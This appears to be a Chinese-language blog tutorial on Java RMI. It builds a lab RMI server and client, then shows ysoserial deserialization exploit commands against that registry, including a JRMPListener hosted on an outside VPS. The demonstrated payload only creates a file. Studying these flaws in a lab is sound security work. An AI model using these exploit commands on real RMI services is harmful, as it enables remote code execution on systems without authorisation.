Fork me on GitHub

rmi入门

参考文献:https://blog.csdn.net/lmy86263/article/details/72594760
https://joychou.org/java/rmi-rce-exploit.html
https://xz.aliyun.com/t/2479
https://blog.csdn.net/LeeHDsniper/article/details/71599504

遇见的问题

rmiclient.jar中没有主清单属性
解决方法:解压jar包–>查看META-INF/MANIFEST.MF是否有Main-Class–>没有的话添加上去Main-Class: Client(其中Client为要运行的class,冒号后面加空格)

Java RMI概念

Java RMI用于不同虚拟机之间的通信,这些虚拟机可以在不同的主机上,也可以在同一个主机上。在RMI中的核心是远程对象(remote object),除了对象本身所在的虚拟机,其他虚拟机也可以调用此对象的方法,而且这些虚拟机可以不在同一个主机上。每个远程对象都要实现一个或者多个远程接口来标识自己,声明了可以被外部系统或者应用调用的方法。

本地搭建rmi测试环境

  • java项目的目录以及需要导入的jar包(jre用的1.6版本)
  • Servel.java接口文件(远程方法接口,该接口必须继承自Remote接口。Remote接口是一个标识接口,用于标识所包含的方法可以从非本地虚拟机上调用的接口,Remote接口本身不包含任何方法)

    1
    2
    3
    4
    5
    6
    import java.rmi.Remote;
    import java.rmi.RemoteException;
    public interface Servel extends Remote {
    public String action(String arg)throws RemoteException;

    }
  • Serverlmp.java文件(远程方法接口实现类,UnicastRemoteObject类的构造函数抛出了RemoteException,故其继承类不能使用默认构造函数,继承类的构造函数必须也抛出RemoteException,由于方法参数与返回值最终都将在网络上传输,故必须是可序列化的)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    import java.rmi.RemoteException;
    import java.rmi.server.UnicastRemoteObject;

    public class Serverlmp extends UnicastRemoteObject implements Servel {
    protected Serverlmp() throws RemoteException {
    super();
    // TODO Auto-generated constructor stub
    }
    @Override
    public String action(String arg) throws RemoteException {
    System.out.println(arg);
    return arg;
    }
    }
  • Run.java文件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;

    public class Run {
    public static void main(String[] args) {
    try {
    Servel server = new Serverlmp();
    int port=Integer.parseInt(args[0]);
    String registry_name=args[1];
    Registry registry = LocateRegistry.createRegistry(port); #创建并导出接受指定port请求的本地主机上的Registry实例
    registry.rebind(registry_name, server);
    System.out.println("Service Start!\n");
    } catch (Exception e) {
    e.printStackTrace();
    }
    }
    }
  • Run.java导出为可执行的jar文件,注意将第三方库也打包进来(在项目上右键点击Export–>JAR file–>选择一个路径–>finish)

  • 运行jar包
    1
    java -jar "rmiserver.jar"  6600 rmi

RMI客户端

  • 直接在项目中添加Client.java

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;

    public class Client {
    public static void main(String[] args) throws Exception
    {
    String ip=args[0];
    int port=Integer.parseInt(args[1]);
    String registry_name=args[2];
    String msg=args[3];
    Registry registry=LocateRegistry.getRegistry(ip,port);
    Servel business=(Servel)registry.lookup(registry_name);
    business.action(msg);
    }
    }
  • 打包为jar包并运行

    1
    java -jar "rmiclient.jar" 10.22.x.xxx 6600 rmi "whoami"


攻击过程(与CVE-2018-2628攻击过程类似)

1
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 10.22.8.218 6600 CommonsCollections1 "touch 1.txt"

  • 错误原因:JDK 8u121版本对RMI做了限制。只允许相关白名单类

现在可以执行的poc

  • 利用ysoserial在vps上监控一个JRMP端口已经要执行的命令

    1
    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'touch 1.txt'
  • 执行EXP

    1
    java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit2 10.22.x.xxx 6600 120.xx.xxx.xx 12345
-------------本文结束感谢您的阅读-------------